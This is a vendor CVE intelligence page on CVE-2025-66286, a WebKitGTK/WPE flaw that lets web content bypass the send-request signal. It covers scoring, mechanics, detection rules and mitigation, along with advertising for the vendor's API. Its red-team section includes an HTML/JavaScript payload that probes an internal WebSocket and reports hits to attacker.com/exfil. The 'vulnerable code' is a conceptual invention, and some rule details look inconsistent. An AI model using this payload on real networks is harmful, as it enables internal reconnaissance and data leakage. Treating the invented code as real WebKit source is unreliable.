☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Webkitgtk logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.7 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-639
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-66286

CVE-2025-66286 is an API design flaw in WebKitGTK and WPE WebKit that allows untrusted web content to bypass the `WebPage::send-request` signal handler.
📅 PUBLISHED: 2026-04-23 13:16 UTC 🔄 UPDATED: 2026-08-12 11:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: USA License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 4.7
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
4.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-66286 is an API design flaw in WebKitGTK and WPE WebKit that allows untrusted web content to bypass the WebPage::send-request signal handler. This handler is intended to be the central point for applications to approve or reject all network requests. However, certain types of HTTP requests (e.g., WebSocket upgrades, preflight requests, or redirects) are not intercepted by this signal, enabling malicious web content to perform unauthorized IP connections, DNS lookups, and HTTP requests. The vulnerability has a CVSS score of 4.7 (Medium) and currently has no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WebKitGTK and WPE WebKit libraries, which are commonly used as embedded web rendering engines in Linux desktop environments (e.g., GNOME Web, Epiphany) and IoT/embedded systems. Since these libraries are often distributed via system package managers (apt, yum, etc.) or as part of larger application bundles, the supply chain risk is moderate. Applications that rely on the WebPage::send-request signal for network policy enforcement are vulnerable to bypass, potentially allowing malicious web content to exfiltrate data or perform internal network scans.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 4.7 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required beyond loading malicious content.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: Low (C:L) – Limited information disclosure (e.g., internal network mapping, DNS queries).
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability allows network reconnaissance and limited data exfiltration but does not enable code execution or data modification. The lack of a public exploit and low EPSS score reduce immediate risk, but the unpatched status warrants monitoring.

Deep Dive & Mechanics

The core issue lies in the design of the WebKitGTK/WPE WebKit API. The WebPage::send-request signal is intended to be the single point of control for all network requests initiated by web content. Applications (e.g., a browser or an embedded app) connect to this signal to inspect and either allow or deny each request. However, the implementation fails to route certain HTTP request types through this signal handler.

Specifically, the following request types bypass the signal:

  • WebSocket upgrade requests (HTTP Upgrade: websocket)
  • CORS preflight requests (OPTIONS method)
  • Redirect requests (HTTP 3xx responses)
  • Subresource integrity checks (e.g., fetching scripts with integrity attributes)
  • Service worker registration/update requests

When a web page initiates one of these request types, the WebKit engine processes the request directly without emitting the send-request signal. This means that even if an application has implemented a strict policy in the signal handler (e.g., blocking all requests to internal IPs), the malicious content can still perform these operations.

Technical Flow:

  1. User loads malicious web content in an application using WebKitGTK/WPE.
  2. The content triggers a WebSocket connection to an internal IP (e.g., 192.168.1.1).
  3. The WebKit engine initiates the HTTP upgrade request.
  4. The send-request signal is NOT emitted.
  5. The request proceeds, allowing the attacker to probe internal services.
  6. Similarly, DNS lookups for internal hostnames (e.g., internal.corp) are performed without application oversight.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (WebKitGTK source):

// In WebKit's network layer, the signal is only emitted for standard HTTP requests.
// WebSocket and other special requests bypass this.
void WebPage::sendRequest(ResourceRequest& request) {
    // Only emit for GET/POST/PUT/DELETE etc.
    if (request.httpMethod() == "GET" || request.httpMethod() == "POST") {
        if (!m_client->sendRequest(request))
            return;
    }
    // WebSocket upgrade, OPTIONS, etc. are not checked.
    m_networkProcess->send(request);
}

Patched Code (Conceptual fix):

void WebPage::sendRequest(ResourceRequest& request) {
    // Always emit the signal for all request types.
    if (!m_client->sendRequest(request))
        return;
    m_networkProcess->send(request);
}

The fix requires modifying the WebKit engine to route all network requests through the send-request signal, including WebSocket upgrades, preflight requests, and redirects. This is a design-level change that may require careful testing to avoid breaking legitimate functionality.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Bypass network policy to perform internal reconnaissance.

Lab Setup:

  • Target: A Linux machine running an application that uses WebKitGTK (e.g., GNOME Web) with a policy blocking external requests to internal IPs.
  • Attacker: A web server hosting malicious content.

Exploitation Steps:

  1. Host a malicious HTML page on an attacker-controlled server.
  2. The page contains JavaScript that attempts to connect to internal services via WebSocket.
<!DOCTYPE html>
<html>
<body>
<script>
// Attempt to connect to an internal service via WebSocket
var ws = new WebSocket("ws://192.168.1.1:8080");
ws.onopen = function() {
    // Connection succeeded - internal service is reachable
    fetch("https://attacker.com/exfil?ip=192.168.1.1:8080");
};
ws.onerror = function() {
    // Connection failed - service may be down or blocked
};
</script>
</body>
</html>
  1. The WebSocket upgrade request bypasses the send-request signal.
  2. If the internal service responds, the attacker can exfiltrate the information.

Advanced Technique: Use DNS rebinding to bypass same-origin policy and perform more extensive scanning.

Blue Team (Defender)

Detection:

  • Monitor for unexpected WebSocket connections from applications using WebKitGTK.
  • Look for DNS queries to internal hostnames originating from web browsers.
  • Use network flow analysis to detect connections to internal IPs from browser processes.

Mitigation:

  • Apply network segmentation to limit browser access to internal networks.
  • Use a web proxy that can intercept and inspect all HTTP traffic, including WebSocket upgrades.
  • Monitor for the specific bypass patterns (e.g., OPTIONS requests to internal IPs).

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Unexpected WebSocket connections to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x).
    • DNS queries for internal hostnames (e.g., *.internal, *.local, *.corp) from browser processes.
    • HTTP OPTIONS requests to internal IPs (CORS preflight bypass).
    • HTTP redirect chains that bypass the signal handler.
  • Host IOCs:

    • Browser process (e.g., epiphany, webkit2gtk-4.0) making connections to internal IPs.
    • Unusual outbound connections from the browser process to external servers after internal probing.
  • Log IOCs:

    • Application logs showing send-request signal not being triggered for WebSocket or OPTIONS requests.
    • Firewall logs showing denied internal connections from browser processes.

Detection Engineering

YARA Rule

rule CVE_2025_66286_WebKitGTK_Bypass {
    meta:
        description = "Detects WebKitGTK/WPE WebKit binaries vulnerable to CVE-2025-66286"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66286"
    strings:
        $s1 = "WebPage::send-request" ascii wide nocase
        $s2 = "sendRequest" ascii wide nocase
        $s3 = "WebSocket" ascii wide nocase
        $s4 = "ResourceRequest" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4) and filesize < 10MB
}

Sigma Rule

title: CVE-2025-66286 WebKitGTK Network Bypass Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network connections from WebKitGTK processes that bypass the send-request signal handler
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66286
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        Image|endswith:
            - '\epiphany.exe'
            - '\webkit2gtk-4.0.exe'
            - '\WebKitWebProcess'
        DestinationIp|startswith:
            - '10.'
            - '172.16.'
            - '192.168.'
        Initiated: 'true'
    condition: selection
falsepositives:
    - Legitimate internal network access by the application
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66286 WebKitGTK WebSocket Bypass"; flow:to_server,established; content:"|0d 0a|Upgrade: websocket|0d 0a|"; nocase; sid:1000001; rev:1;)
alert tcp $HOME_NET any -> $INTERNAL_NET any (msg:"CVE-2025-66286 WebKitGTK Internal Connection Bypass"; flow:to_server,established; content:"|0d 0a|Host: "; nocase; pcre:"/Host:\s*(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/"; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Monitor for patches: Subscribe to WebKitGTK and WPE WebKit security advisories.
  2. Network segmentation: Restrict browser access to internal networks using firewall rules.
  3. Web proxy: Use a forward proxy that can intercept and inspect all HTTP traffic, including WebSocket upgrades.
  4. Application-level workaround: If you control the application code, implement additional network checks outside of the send-request signal (e.g., using a custom network delegate).

Long-term Fix:

  • Apply the official patch once released by the WebKitGTK/WPE maintainers.
  • Update to a patched version of the library.

Detection:

  • Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
  • Monitor for unusual network connections from browser processes.

Valters IT

{/* [Security Hash: 40B6AE261B6F19ECD9C6EA9A] */}

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

webkitgtk
WPE WebKit
WebKitGTK
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-66286/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.